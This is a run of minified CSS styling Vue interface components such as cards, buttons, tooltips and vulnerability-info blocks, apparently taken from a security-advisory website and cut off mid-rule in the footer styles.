.vue--card__body[data-v-d6f7b9fc]{background-color:#fff}.vue--card--legacy[data-v-d6f7b9fc]{border-radius:2px;padding:12px}.vue--card--legacy[data-v-d6f7b9fc]:not(.vue--card--danger){box-shadow:inset 0 0 0 1px #e5e8ed}.vue--card--legacy.vue--card--success[data-v-d6f7b9fc]{background-color:rgba(125,204,204,.45);border:1px solid rgba(33,92,92,.31)}.vue--card--legacy.vue--card--info[data-v-d6f7b9fc]{background-color:#edecf6;border:1px solid #938fc6}.vue--card--legacy+.vue--card[data-v-d6f7b9fc]{margin-top:16px}.vue--card--legacy .vue--card__anchor[data-v-d6f7b9fc]{color:#555463;position:relative}.vue--card--legacy .vue--card__anchor[data-v-d6f7b9fc]:focus,.vue--card--legacy .vue--card__anchor[data-v-d6f7b9fc]:hover{text-decoration:none}.vue--card--legacy .vue--card__anchor:focus[href][data-v-d6f7b9fc]:after,.vue--card--legacy .vue--card__anchor:hover[href][data-v-d6f7b9fc]:after{opacity:1}.vue--card--legacy .vue--card__anchor[href][data-v-d6f7b9fc]:after{background-color:#d3d3d9;content:\"#\";display:block;height:24px;left:-36px;line-height:24px;opacity:0;position:absolute;top:0;transition:opacity .2s ease-in-out;width:24px;text-align:center}.vue--card--legacy .vue--card__anchor-icon[data-v-d6f7b9fc]{display:none}.vue--card--legacy .vue--card__header[data-v-d6f7b9fc]{border-bottom:1px solid #d3d3d9;margin-bottom:16px;display:flex;justify-content:space-between}.vue--card--legacy .vue--card__header h2[data-v-d6f7b9fc]{font-size:1.125rem;font-weight:500;margin:0 0 8px -12px;padding-left:12px}.vue--card--legacy .vue--card__header--note[data-v-d6f7b9fc]{font-size:.8125rem;margin:0}.vue--card--legacy .vue--card__intro[data-v-d6f7b9fc]{margin-bottom:24px}.vue--card--legacy .vue--card__body[data-v-d6f7b9fc]>:first-child{margin-top:0}.vue--card--legacy .vue--card__body[data-v-d6f7b9fc]>:last-child{margin-bottom:0}.vue--card--legacy .vue--card__alert[data-v-d6f7b9fc]{margin-bottom:12px}.vue--card--legacy .vue--card__footer[data-v-d6f7b9fc]{font-style:italic;color:#727184;border-top:1px solid #d3d3d9;font-size:.8125rem;margin-top:16px;padding-top:12px}\n.vue--block[data-v-3645d675]{background-color:#fff;box-shadow:inset 0 0 0 1px #d3d3d9;border-radius:2px;padding:1px}.vue--block--instruction[data-v-3645d675]{background-color:#f6fafd;box-shadow:inset 0 0 0 1px #cce0f5,0 0 0 2px transparent}.vue--block--danger[data-v-3645d675]{background-color:#f8e8e8;box-shadow:inset 0 0 0 1px #e3a1a1,0 0 0 2px transparent}.vue--block--success[data-v-3645d675]{background-color:#e8f1f1;box-shadow:inset 0 0 0 1px #a1c8c8,0 0 0 2px transparent}.vue--block--warning[data-v-3645d675]{background-color:#fbf2e7;box-shadow:inset 0 0 0 1px #e9af6d,0 0 0 2px transparent}.vue--block--info[data-v-3645d675]{background-color:#edecf6;box-shadow:inset 0 0 0 1px #938fc7,0 0 0 2px transparent}.vue--block--severity-critical[data-v-3645d675],.vue--block--severity-high[data-v-3645d675]{box-shadow:inset 0 0 0 1px #cc4f19,0 0 0 2px transparent}.vue--block--severity-medium[data-v-3645d675]{box-shadow:inset 0 0 0 1px #d68100,0 0 0 2px transparent}.vue--block--severity-low[data-v-3645d675]{box-shadow:inset 0 0 0 1px #86859d,0 0 0 2px transparent}\n.twitter-icon[data-v-379da117]{color:#555463}.cvss-details-item[data-v-379da117]{display:flex;justify-content:space-between;padding:16px 0}.cvss-details-item+.cvss-details-item[data-v-379da117]{border-top:1px solid #e4e3e8}.cvss-details-item__tooltip[data-v-379da117]{color:#938fc7;margin-left:8px}\n.vue--tooltip[data-v-06ded3b9]{display:inline-block;position:relative}.vue--tooltip__label[data-v-06ded3b9]{color:inherit;display:block}.vue--tooltip__label[data-v-06ded3b9]  svg{height:1rem;width:1rem}.vue--tooltip__arrow[data-v-06ded3b9],.vue--tooltip__arrow[data-v-06ded3b9]:before{position:absolute;z-index:-1}.vue--tooltip__arrow[data-v-06ded3b9]:before{content:\"\";border:6px solid transparent;transform:translateX(-50%)}.vue--tooltip__description[data-v-06ded3b9]{background-color:#211f47;border-radius:4px;color:#fff;left:50%;padding:12px;text-transform:none;transform:translateX(-50%);word-break:normal;white-space:normal;width:350px;z-index:10}.vue--tooltip__description[data-popper-placement^=top]>.vue--tooltip__arrow[data-v-06ded3b9]{bottom:0}.vue--tooltip__description[data-popper-placement^=top]>.vue--tooltip__arrow[data-v-06ded3b9]:before{border-top-color:#211f47}.vue--tooltip__description[data-popper-placement^=bottom]>.vue--tooltip__arrow[data-v-06ded3b9]{top:-12px}.vue--tooltip__description[data-popper-placement^=bottom]>.vue--tooltip__arrow[data-v-06ded3b9]:before{border-bottom-color:#211f47}.vue--tooltip--small .vue--tooltip__label[data-v-06ded3b9]  svg{height:.875rem;width:.875rem}.vue--tooltip--large .vue--tooltip__label[data-v-06ded3b9]  svg{height:1.125rem;width:1.125rem}.vue--tooltip--auto .vue--tooltip__description[data-v-06ded3b9]{width:auto;white-space:nowrap}.vue--tooltip--quiet[data-v-06ded3b9]{color:#727184}.vue--tooltip--help .vue--tooltip__label[data-v-06ded3b9]:hover{cursor:help}\n.vue--button[data-v-94138f12]{border:2px solid transparent;border-radius:4px;cursor:pointer;display:inline-block;height:2.375rem;line-height:2;padding:0 17px;transition:background-color .2s ease,color .2s ease,border-color .2s ease,box-shadow .2s ease;transform:scale(1.001);white-space:nowrap}.vue--button+.vue--button[data-v-94138f12]{margin-left:12px}.vue--button.hover[data-v-94138f12],.vue--button[data-v-94138f12]:hover{text-decoration:none}.vue--button .material-design-icon[data-v-94138f12]{position:relative;left:-6px;right:0;top:-2px}.vue--button .vue--badge[data-v-94138f12],.vue--button .vue--label[data-v-94138f12]{position:relative;right:-4px;margin-top:-1px}.vue--button[disabled][data-v-94138f12]{cursor:no-drop;opacity:.6}.vue--button[disabled][data-v-94138f12]:not(.vue--button--ghost){background-color:#d3d3d9;color:#393842}.vue--button[disabled].vue--button--ghost[data-v-94138f12]{background-color:transparent;border-color:#d3d3d9;color:#727184}.vue--button--ghost[data-v-94138f12]{border-width:1px;padding:0 18px}.vue--button--ghost.focus[data-v-94138f12],.vue--button--ghost[data-v-94138f12]:focus{padding:0 17px}.vue--button--ghost.vue--button--extra-large.focus[data-v-94138f12],.vue--button--ghost.vue--button--extra-large[data-v-94138f12]:focus,.vue--button--ghost.vue--button--large.focus[data-v-94138f12],.vue--button--ghost.vue--button--large[data-v-94138f12]:focus{padding:0 23px}.vue--button--ghost.vue--button--small.focus[data-v-94138f12],.vue--button--ghost.vue--button--small[data-v-94138f12]:focus{padding:0 11px}.vue--button--ghost.vue--button--basic.focus[data-v-94138f12],.vue--button--ghost.vue--button--basic[data-v-94138f12]:focus{box-shadow:none;padding:0 18px}.vue--button--ghost.vue--button--basic.vue--button--extra-large.focus[data-v-94138f12],.vue--button--ghost.vue--button--basic.vue--button--extra-large[data-v-94138f12]:focus,.vue--button--ghost.vue--button--basic.vue--button--large.focus[data-v-94138f12],.vue--button--ghost.vue--button--basic.vue--button--large[data-v-94138f12]:focus{padding:0 24px}.vue--button--ghost.vue--button--basic.vue--button--small.focus[data-v-94138f12],.vue--button--ghost.vue--button--basic.vue--button--small[data-v-94138f12]:focus{padding:0 12px}.vue--button--cta[data-v-94138f12]:not([disabled]):not(.vue--button--ghost){background-color:#157575;color:#fff}.vue--button--cta[data-v-94138f12]:not([disabled]):not(.vue--button--ghost)  svg{fill:#fff}.vue--button--cta:not([disabled]):not(.vue--button--ghost).focus[data-v-94138f12],.vue--button--cta:not([disabled]):not(.vue--button--ghost).hover[data-v-94138f12],.vue--button--cta[data-v-94138f12]:not([disabled]):not(.vue--button--ghost):focus,.vue--button--cta[data-v-94138f12]:not([disabled]):not(.vue--button--ghost):hover{border-color:#188b8b;background-color:#188b8b}.vue--button--cta:not([disabled]):not(.vue--button--ghost).focus[data-v-94138f12],.vue--button--cta[data-v-94138f12]:not([disabled]):not(.vue--button--ghost):focus{box-shadow:inset 0 0 0 1px #fff;outline:none}.vue--button--cta:not([disabled]).vue--button--ghost[data-v-94138f12]{background-color:transparent;border-color:#157575;color:#157575}.vue--button--cta:not([disabled]).vue--button--ghost svg[data-v-94138f12]{fill:#157575}.vue--button--cta:not([disabled]).vue--button--ghost.focus[data-v-94138f12],.vue--button--cta:not([disabled]).vue--button--ghost.hover[data-v-94138f12],.vue--button--cta:not([disabled]).vue--button--ghost[data-v-94138f12]:focus,.vue--button--cta:not([disabled]).vue--button--ghost[data-v-94138f12]:hover{background-color:#188b8b;border-color:#188b8b;color:#fff}.vue--button--cta:not([disabled]).vue--button--ghost.focus svg[data-v-94138f12],.vue--button--cta:not([disabled]).vue--button--ghost.hover svg[data-v-94138f12],.vue--button--cta:not([disabled]).vue--button--ghost:focus svg[data-v-94138f12],.vue--button--cta:not([disabled]).vue--button--ghost:hover svg[data-v-94138f12]{fill:#fff}.vue--button--cta:not([disabled]).vue--button--ghost.focus[data-v-94138f12],.vue--button--cta:not([disabled]).vue--button--ghost[data-v-94138f12]:focus{border-width:2px;box-shadow:inset 0 0 0 1px #fff;outline:none}.vue--button--danger[data-v-94138f12]:not([disabled]):not(.vue--button--ghost){background-color:#b81414;color:#fff}.vue--button--danger[data-v-94138f12]:not([disabled]):not(.vue--button--ghost)  svg{fill:#fff}.vue--button--danger:not([disabled]):not(.vue--button--ghost).focus[data-v-94138f12],.vue--button--danger:not([disabled]):not(.vue--button--ghost).hover[data-v-94138f12],.vue--button--danger[data-v-94138f12]:not([disabled]):not(.vue--button--ghost):focus,.vue--button--danger[data-v-94138f12]:not([disabled]):not(.vue--button--ghost):hover{border-color:#cf1717;background-color:#cf1717}.vue--button--danger:not([disabled]):not(.vue--button--ghost).focus[data-v-94138f12],.vue--button--danger[data-v-94138f12]:not([disabled]):not(.vue--button--ghost):focus{box-shadow:inset 0 0 0 1px #fff;outline:none}.vue--button--danger:not([disabled]).vue--button--ghost[data-v-94138f12]{background-color:transparent;border-color:#b81414;color:#b81414}.vue--button--danger:not([disabled]).vue--button--ghost svg[data-v-94138f12]{fill:#b81414}.vue--button--danger:not([disabled]).vue--button--ghost.focus[data-v-94138f12],.vue--button--danger:not([disabled]).vue--button--ghost.hover[data-v-94138f12],.vue--button--danger:not([disabled]).vue--button--ghost[data-v-94138f12]:focus,.vue--button--danger:not([disabled]).vue--button--ghost[data-v-94138f12]:hover{background-color:#cf1717;border-color:#cf1717;color:#fff}.vue--button--danger:not([disabled]).vue--button--ghost.focus svg[data-v-94138f12],.vue--button--danger:not([disabled]).vue--button--ghost.hover svg[data-v-94138f12],.vue--button--danger:not([disabled]).vue--button--ghost:focus svg[data-v-94138f12],.vue--button--danger:not([disabled]).vue--button--ghost:hover svg[data-v-94138f12]{fill:#fff}.vue--button--danger:not([disabled]).vue--button--ghost.focus[data-v-94138f12],.vue--button--danger:not([disabled]).vue--button--ghost[data-v-94138f12]:focus{border-width:2px;box-shadow:inset 0 0 0 1px #fff;outline:none}.vue--button--inverted[data-v-94138f12]:not([disabled]):not(.vue--button--ghost){background-color:#fff;color:#393842}.vue--button--inverted[data-v-94138f12]:not([disabled]):not(.vue--button--ghost)  svg{fill:#393842}.vue--button--inverted:not([disabled]):not(.vue--button--ghost).focus[data-v-94138f12],.vue--button--inverted:not([disabled]):not(.vue--button--ghost).hover[data-v-94138f12],.vue--button--inverted[data-v-94138f12]:not([disabled]):not(.vue--button--ghost):focus,.vue--button--inverted[data-v-94138f12]:not([disabled]):not(.vue--button--ghost):hover{border-color:#fff;background-color:#fff}.vue--button--inverted:not([disabled]):not(.vue--button--ghost).focus[data-v-94138f12],.vue--button--inverted[data-v-94138f12]:not([disabled]):not(.vue--button--ghost):focus{box-shadow:inset 0 0 0 1px #393842;outline:none}.vue--button--inverted:not([disabled]).vue--button--ghost[data-v-94138f12]{background-color:transparent;border-color:#fff;color:#fff}.vue--button--inverted:not([disabled]).vue--button--ghost svg[data-v-94138f12]{fill:#fff}.vue--button--inverted:not([disabled]).vue--button--ghost.focus[data-v-94138f12],.vue--button--inverted:not([disabled]).vue--button--ghost.hover[data-v-94138f12],.vue--button--inverted:not([disabled]).vue--button--ghost[data-v-94138f12]:focus,.vue--button--inverted:not([disabled]).vue--button--ghost[data-v-94138f12]:hover{background-color:#fff;border-color:#fff;color:#393842}.vue--button--inverted:not([disabled]).vue--button--ghost.focus svg[data-v-94138f12],.vue--button--inverted:not([disabled]).vue--button--ghost.hover svg[data-v-94138f12],.vue--button--inverted:not([disabled]).vue--button--ghost:focus svg[data-v-94138f12],.vue--button--inverted:not([disabled]).vue--button--ghost:hover svg[data-v-94138f12]{fill:#393842}.vue--button--inverted:not([disabled]).vue--button--ghost.focus[data-v-94138f12],.vue--button--inverted:not([disabled]).vue--button--ghost[data-v-94138f12]:focus{border-width:2px;box-shadow:inset 0 0 0 1px #393842;outline:none}.vue--button--inverted:not([disabled]).hover[data-v-94138f12],.vue--button--inverted[data-v-94138f12]:not([disabled]):hover{border-width:2px;box-shadow:inset 0 0 0 1px #393842;outline:none;padding:0 17px}.vue--button--inverted:not([disabled]).vue--button--extra-large.hover[data-v-94138f12],.vue--button--inverted:not([disabled]).vue--button--extra-large[data-v-94138f12]:hover,.vue--button--inverted:not([disabled]).vue--button--large.hover[data-v-94138f12],.vue--button--inverted:not([disabled]).vue--button--large[data-v-94138f12]:hover{padding:0 24px}.vue--button--inverted:not([disabled]).vue--button--small.hover[data-v-94138f12],.vue--button--inverted:not([disabled]).vue--button--small[data-v-94138f12]:hover{padding:0 12px}.vue--button--inverted:not([disabled]).vue--button--ghost.vue--button--extra-large.hover[data-v-94138f12],.vue--button--inverted:not([disabled]).vue--button--ghost.vue--button--extra-large[data-v-94138f12]:hover,.vue--button--inverted:not([disabled]).vue--button--ghost.vue--button--large.hover[data-v-94138f12],.vue--button--inverted:not([disabled]).vue--button--ghost.vue--button--large[data-v-94138f12]:hover{padding:0 23px}.vue--button--inverted:not([disabled]).vue--button--ghost.vue--button--small.hover[data-v-94138f12],.vue--button--inverted:not([disabled]).vue--button--ghost.vue--button--small[data-v-94138f12]:hover{padding:0 11px}.vue--button--basic:not([disabled]).vue--button--ghost[data-v-94138f12]{background-color:transparent;border-color:#d3d3d9;color:#393842}.vue--button--basic:not([disabled]).vue--button--ghost svg[data-v-94138f12]{fill:#393842}.vue--button--basic:not([disabled]).vue--button--ghost.focus[data-v-94138f12],.vue--button--basic:not([disabled]).vue--button--ghost.hover[data-v-94138f12],.vue--button--basic:not([disabled]).vue--button--ghost[data-v-94138f12]:focus,.vue--button--basic:not([disabled]).vue--button--ghost[data-v-94138f12]:hover{background-color:transparent!important;color:#393842;border-color:#4b45a1}.vue--button--animated-pulse-decorative[data-v-94138f12],.vue--button--animated-shimmer-decorative[data-v-94138f12],.vue--button--decorative[data-v-94138f12]{padding:0 19px}.vue--button--animated-pulse-decorative.vue--button--small[data-v-94138f12],.vue--button--animated-shimmer-decorative.vue--button--small[data-v-94138f12],.vue--button--decorative.vue--button--small[data-v-94138f12]{padding:0 14px}.vue--button--animated-pulse-decorative.vue--button--large[data-v-94138f12],.vue--button--animated-shimmer-decorative.vue--button--large[data-v-94138f12],.vue--button--decorative.vue--button--large[data-v-94138f12]{padding:0 26px}.vue--button--decorative[data-v-94138f12]{background:linear-gradient(90deg,#7530a6,#461d9f);border:2px;color:#fff;opacity:1;padding:0 19px}.vue--button--decorative[data-v-94138f12]:hover{color:#fff;opacity:.9}.vue--button--decorative-animated-pulse[data-v-94138f12]{animation:pulse-data-v-94138f12 2s infinite;background:linear-gradient(90deg,#7530a6,#461d9f);border:2px;color:#fff;padding:0 19px}.vue--button--decorative-animated-pulse[data-v-94138f12]:hover{color:#fff;opacity:.9}.vue--button--decorative-animated-shimmer[data-v-94138f12]{background:linear-gradient(90deg,#7530a6,#461d9f);border:2px;color:#fff;opacity:.8;opacity:1;overflow:hidden;position:relative;padding:0 19px}.vue--button--decorative-animated-shimmer[data-v-94138f12]:hover{color:#fff;opacity:1;opacity:.9}.vue--button--decorative-animated-shimmer[data-v-94138f12]:after{animation:shimmer-data-v-94138f12 6s ease-in-out .2s infinite;animation-fill-mode:forwards;content:\"\";position:absolute;top:0;left:-200%;width:200%;height:100%;opacity:0;background:hsla(0,0%,100%,.13);background:linear-gradient(90deg,hsla(0,0%,100%,.13) 0,hsla(0,0%,100%,.13) 77%,hsla(0,0%,100%,.7) 92%,hsla(0,0%,100%,0))}.vue--button--cta-link[data-v-94138f12],.vue--button--dimmed-link[data-v-94138f12],.vue--button--inverted-link[data-v-94138f12],.vue--button--link[data-v-94138f12]{background-color:transparent;border:none;color:#4b45a1;height:auto;line-height:inherit;padding:0}.vue--button--cta-link .material-design-icon[data-v-94138f12],.vue--button--dimmed-link .material-design-icon[data-v-94138f12],.vue--button--inverted-link .material-design-icon[data-v-94138f12],.vue--button--link .material-design-icon[data-v-94138f12]{margin-right:4px;left:0}.vue--button--cta-link .vue--label[data-v-94138f12],.vue--button--dimmed-link .vue--label[data-v-94138f12],.vue--button--inverted-link .vue--label[data-v-94138f12],.vue--button--link .vue--label[data-v-94138f12]{padding-right:4px}.vue--button--cta-link.vue--button--large[data-v-94138f12],.vue--button--cta-link.vue--button--small[data-v-94138f12],.vue--button--dimmed-link.vue--button--large[data-v-94138f12],.vue--button--dimmed-link.vue--button--small[data-v-94138f12],.vue--button--inverted-link.vue--button--large[data-v-94138f12],.vue--button--inverted-link.vue--button--small[data-v-94138f12],.vue--button--link.vue--button--large[data-v-94138f12],.vue--button--link.vue--button--small[data-v-94138f12]{padding:0}.vue--button--cta-link[data-v-94138f12]:not([disabled]){color:#157575}.vue--button--cta-link:not([disabled]).focus[data-v-94138f12],.vue--button--cta-link:not([disabled]).hover[data-v-94138f12],.vue--button--cta-link[data-v-94138f12]:not([disabled]):focus,.vue--button--cta-link[data-v-94138f12]:not([disabled]):hover{box-shadow:none;color:#157575;text-decoration:underline}.vue--button--link[data-v-94138f12]:not([disabled]){color:#4b45a1}.vue--button--link:not([disabled]).focus[data-v-94138f12],.vue--button--link:not([disabled]).hover[data-v-94138f12],.vue--button--link[data-v-94138f12]:not([disabled]):focus,.vue--button--link[data-v-94138f12]:not([disabled]):hover{box-shadow:none;color:#4b45a1;text-decoration:underline}.vue--button--inverted-link[data-v-94138f12]:not([disabled]){color:#fff}.vue--button--inverted-link:not([disabled]).focus[data-v-94138f12],.vue--button--inverted-link:not([disabled]).hover[data-v-94138f12],.vue--button--inverted-link[data-v-94138f12]:not([disabled]):focus,.vue--button--inverted-link[data-v-94138f12]:not([disabled]):hover{box-shadow:none;color:#fff;text-decoration:underline}.vue--button--dimmed-link[data-v-94138f12]:not([disabled]){color:#727184}.vue--button--dimmed-link:not([disabled]).focus[data-v-94138f12],.vue--button--dimmed-link:not([disabled]).hover[data-v-94138f12],.vue--button--dimmed-link[data-v-94138f12]:not([disabled]):focus,.vue--button--dimmed-link[data-v-94138f12]:not([disabled]):hover{box-shadow:none;color:#727184;text-decoration:underline}.vue--button--cta-link[disabled][data-v-94138f12]:not(.vue--button--ghost),.vue--button--dimmed-link[disabled][data-v-94138f12]:not(.vue--button--ghost),.vue--button--inverted-link[disabled][data-v-94138f12]:not(.vue--button--ghost),.vue--button--link[disabled][data-v-94138f12]:not(.vue--button--ghost){background-color:transparent;opacity:.5}.vue--button--large[data-v-94138f12]{font-size:1.125rem;height:2.75rem;padding:0 24px}.vue--button--large.vue--button--cta-link[data-v-94138f12],.vue--button--large.vue--button--dimmed-link[data-v-94138f12],.vue--button--large.vue--button--inverted-link[data-v-94138f12],.vue--button--large.vue--button--link[data-v-94138f12]{height:auto}.vue--button--large .material-design-icon[data-v-94138f12]{top:-1px}.vue--button--large .material-design-icon[data-v-94138f12]  svg{height:28px;width:28px}.vue--button--large .vue--label[data-v-94138f12]{top:-2px}.vue--button--extra-large[data-v-94138f12]{font-size:1.125rem;height:3.125rem;padding:0 24px}.vue--button--extra-large.vue--button--cta-link[data-v-94138f12],.vue--button--extra-large.vue--button--dimmed-link[data-v-94138f12],.vue--button--extra-large.vue--button--inverted-link[data-v-94138f12],.vue--button--extra-large.vue--button--link[data-v-94138f12]{height:auto}.vue--button--extra-large .material-design-icon[data-v-94138f12]{top:-1px}.vue--button--extra-large .material-design-icon[data-v-94138f12]  svg{height:30px;width:30px}.vue--button--extra-large .vue--label[data-v-94138f12]{top:-2px}.vue--button--small[data-v-94138f12]{font-size:.875rem;height:2rem;line-height:2;padding:0 12px}.vue--button--small+.vue--button--small[data-v-94138f12]{margin-left:4px}.vue--button--small.vue--button--cta-link[data-v-94138f12],.vue--button--small.vue--button--dimmed-link[data-v-94138f12],.vue--button--small.vue--button--inverted-link[data-v-94138f12],.vue--button--small.vue--button--link[data-v-94138f12]{height:auto;line-height:1.5}.vue--button--small .material-design-icon[data-v-94138f12]{top:-1px}.vue--button--small .material-design-icon[data-v-94138f12]  svg{height:18px;width:18px}.vue--button--icon.vue--button--cta .material-design-icon[data-v-94138f12],.vue--button--icon.vue--button--danger .material-design-icon[data-v-94138f12],.vue--button--icon.vue--button--inverted .material-design-icon[data-v-94138f12]{left:auto;right:auto}.vue--button--icon.vue--button--cta-link .material-design-icon[data-v-94138f12],.vue--button--icon.vue--button--dimmed-link .material-design-icon[data-v-94138f12],.vue--button--icon.vue--button--inverted-link .material-design-icon[data-v-94138f12],.vue--button--icon.vue--button--link .material-design-icon[data-v-94138f12]{margin-right:0;left:auto;right:auto;top:0}.vue--button--icon.vue--button--cta-link.focus[data-v-94138f12],.vue--button--icon.vue--button--cta-link[data-v-94138f12]:focus,.vue--button--icon.vue--button--dimmed-link.focus[data-v-94138f12],.vue--button--icon.vue--button--dimmed-link[data-v-94138f12]:focus,.vue--button--icon.vue--button--inverted-link.focus[data-v-94138f12],.vue--button--icon.vue--button--inverted-link[data-v-94138f12]:focus,.vue--button--icon.vue--button--link.focus[data-v-94138f12],.vue--button--icon.vue--button--link[data-v-94138f12]:focus{outline:1px dotted #4b45a1}@keyframes pulse-data-v-94138f12{0%{box-shadow:0 0 0 0 rgba(117,48,166,.6)}70%{box-shadow:0 0 0 10px rgba(117,48,166,0)}to{box-shadow:0 0 0 0 rgba(117,48,166,0)}}@keyframes shimmer-data-v-94138f12{10%{opacity:1;left:-30%;transition-property:left,opacity;transition-duration:10s,.15s;transition-timing-function:ease}to{opacity:0;left:-30%;transition-property:left,opacity}}\n.vue--expand__container[data-v-1df76973]{overflow:hidden}.vue--expand.expand-enter-active[data-v-1df76973],.vue--expand.expand-leave-active[data-v-1df76973]{transition:height .25s ease-in-out;overflow:hidden}.vue--expand.expand-enter[data-v-1df76973],.vue--expand.expand-leave-to[data-v-1df76973]{height:0}.vue--expand-legacy__container[data-v-1df76973]{overflow:hidden}.vue--expand-legacy.expand-enter-active[data-v-1df76973],.vue--expand-legacy.expand-leave-active[data-v-1df76973]{height:auto;overflow:hidden}.vue--expand-legacy.expand-enter[data-v-1df76973],.vue--expand-legacy.expand-leave-to[data-v-1df76973]{height:0}\n.register-cta[data-v-361fdb61]{font-size:.9375rem;margin:0}.register-cta__body.small[data-v-361fdb61]{padding:24px}.register-cta__body.small p[data-v-361fdb61]{margin-bottom:24px}.register-cta__body.small p.heading[data-v-361fdb61]{color:#1c1c21;font-weight:500}.register-cta__body.medium[data-v-361fdb61]{align-items:center;display:flex;flex-wrap:wrap;justify-content:center;align-content:space-between;padding:12px 16px 12px 24px}@media only screen and (min-width:40em){.register-cta__body.medium[data-v-361fdb61]{justify-content:space-between}.register-cta__body.medium p[data-v-361fdb61]{margin:0}}\n.learn-cta[data-v-455b9950]{font-size:.9375rem;margin:0}.learn-cta__body[data-v-455b9950]{padding:24px}.learn-cta__body p[data-v-455b9950]{margin-bottom:24px}.learn-cta__heading[data-v-455b9950]{color:#1c1c21;font-weight:500}.learn-cta__icon[data-v-455b9950]{display:inline-block;margin-right:4px;color:#4b45a1}\n.vuln-credit[data-v-33fd0c51]{margin:0;padding:8px 24px}.vuln-credit .credits__label[data-v-33fd0c51]{text-transform:capitalize;white-space:nowrap}.vuln-credit ul[data-v-33fd0c51]{margin:0;padding:0}.vuln-credit li[data-v-33fd0c51]{display:flex;justify-content:space-between;border-top:1px solid #e4e3e8;padding:16px 0;margin:0;text-align:right;word-break:break-all}.vuln-credit li[data-v-33fd0c51]:first-child{border-top:none}\n.base-buttons[data-v-32e39077]{margin-top:12px}.base-buttons .base-button[data-v-32e39077]{margin:24px 12px 0 0}\n.item-tooltip[data-v-2bb0c06e]{color:#938fc7}.vuln-info-block[data-v-2bb0c06e]{align-items:center;display:flex;font-size:13px;text-transform:uppercase;flex-wrap:wrap}.vuln-info-block[data-v-2bb0c06e]>:not(:last-child){margin-right:12px}.vuln-info-block h4.date[data-v-2bb0c06e]{font-size:13px;display:inline-block}\n.item-tooltip[data-v-b74dadd4]{color:#938fc7}\n.vue--icon-bar[data-v-39001840]{background-color:#fff;display:flex;flex-direction:column;width:30%;min-width:90px}@media only screen and (min-width:71.25em){.vue--icon-bar[data-v-39001840]{flex-direction:row;min-width:auto;width:auto}}.vue--icon-bar__item[data-v-39001840]{align-items:center;cursor:pointer;display:flex;flex:1 0 0%;font-size:.8125rem;flex-direction:row;min-width:90px;padding:8px 12px;border-bottom:1px solid #e5e8ed;transition:all .2s ease;min-height:90px;justify-content:center}@media only screen and (min-width:71.25em){.vue--icon-bar__item[data-v-39001840]{flex-direction:column;border-right:1px solid #e5e8ed;border-bottom:none}.vue--icon-bar__item span[data-v-39001840]{text-align:center;width:100%}}.vue--icon-bar__item[data-v-39001840]:last-of-type{border:none}.vue--icon-bar__item[data-v-39001840]:focus,.vue--icon-bar__item[data-v-39001840]:hover{color:#4b45a1;background:#f6fafd}.vue--icon-bar__icon[data-v-39001840]  svg{height:1.5625rem;width:1.5625rem;margin-right:8px}@media only screen and (min-width:71.25em){.vue--icon-bar__icon[data-v-39001840]  svg{height:2.5rem;width:2.5rem;margin-right:0;margin-bottom:5px}}\n.vue--button-dropdown[data-v-13063395]{position:relative;display:inline}.vue--button-dropdown__btn[data-v-13063395]{padding:0 0 0 16px}.vue--button-dropdown__btn[data-v-13063395]:focus{padding:0 0 0 16px!important}.vue--button-dropdown__icon[data-v-13063395]{margin-left:12px;display:inline-block;transition:transform .2s linear;-ms-transition:none}.vue--button-dropdown__icon--rotated[data-v-13063395]{transform-origin:50% 55%;transform:rotate(-180deg)}.vue--button-dropdown__content[data-v-13063395]{position:absolute;display:flex;display:-ms-grid;box-shadow:inset 0 0 0 1px #d3d3d9,0 0 17px 6px rgba(0,0,0,.06);margin:8px 0 0;opacity:0;transition:all .2s ease;-ms-transition:none;z-index:999;pointer-events:none}.vue--button-dropdown__content.open[data-v-13063395]{opacity:1;pointer-events:auto}.vue--button-dropdown__content--focus[data-v-13063395]{box-shadow:inset 0 0 0 1px #4b45a1,0 0 17px 6px rgba(0,0,0,.06)}.vue--button-dropdown__content--right[data-v-13063395]{right:0;transform-origin:top right}.vue--button-dropdown__content--left[data-v-13063395]{left:0;transform-origin:top left}.vue--button-dropdown__content--center[data-v-13063395]{transform-origin:center;left:50%;transform:translate(-50%)}\n.markdown-section .heading[data-v-5c17117c]{font-size:.9375rem;line-height:1.5rem}.markdown-section .markdown-description[data-v-5c17117c]{margin:12px 0 32px;word-break:break-word}.markdown-section .markdown-description[data-v-5c17117c]  table{word-break:normal}.markdown-section .markdown-description[data-v-5c17117c]  h2,.markdown-section .markdown-description[data-v-5c17117c]  h3{font-weight:500;font-size:.9375rem;margin:32px 0 0}.markdown-section .markdown-description[data-v-5c17117c]  code{white-space:normal;overflow-x:auto}.markdown-section .markdown-description[data-v-5c17117c]  pre code{display:block;color:#fff;padding:12px}\n.vue--prose[data-v-6b6ff1c7]{font-size:.8125rem;line-height:1.3125rem;color:inherit}@media only screen and (min-width:45em){.vue--prose[data-v-6b6ff1c7]{font-size:.9375rem;line-height:1.5rem}}.vue--prose p[data-v-6b6ff1c7]{margin:12px 0}.vue--prose p[data-v-6b6ff1c7]:first-child{margin-top:0}.vue--prose p[data-v-6b6ff1c7]:last-child{margin-bottom:0}.vue--prose strong[data-v-6b6ff1c7]{font-weight:500}.vue--prose em[data-v-6b6ff1c7]{font-style:italic}.vue--prose ol[data-v-6b6ff1c7]{margin:0;padding:0 0 0 16px;list-style:decimal;font-feature-settings:\"pnum\"}.vue--prose ol li[data-v-6b6ff1c7]{margin:8px 0}.vue--prose ul[data-v-6b6ff1c7]{margin:0;padding:0 0 0 16px;list-style:disc;font-feature-settings:\"pnum\"}.vue--prose ul li[data-v-6b6ff1c7]{margin:8px 0}.vue--prose--lead[data-v-6b6ff1c7]{font-size:1.125rem;line-height:2rem}.vue--prose--small[data-v-6b6ff1c7]{font-size:.8125rem;line-height:1.25rem}\n.vue--markdown-to-html[data-v-185c2450]  h2{font-weight:500;font-size:1.25rem}.vue--markdown-to-html[data-v-185c2450]  table{border:1px solid #d3d3d9;border-radius:2px;margin-bottom:12px}.vue--markdown-to-html[data-v-185c2450]  td,.vue--markdown-to-html[data-v-185c2450]  th{border:1px solid #d3d3d9;padding:8px}.vue--markdown-to-html[data-v-185c2450]  th{font-weight:500;background-color:#f4f4f6}.vue--markdown-to-html[data-v-185c2450]  pre{overflow-x:auto}.vue--markdown-to-html[data-v-185c2450]  pre code{background-color:#393842}\n.site-footer[data-v-415ae652]{background-color:#120c68;color:#fff;min-height:140px;position:relative;padding-bottom:140px;padding-top:32px}.site-footer .site-footer__container[data-v-415ae652]{margin-bottom:32px}.site-footer .site-footer-bottom[data-v-415ae652]{align-items:center;display:flex;margin-top:48px}.site-footer .site-footer-bottom 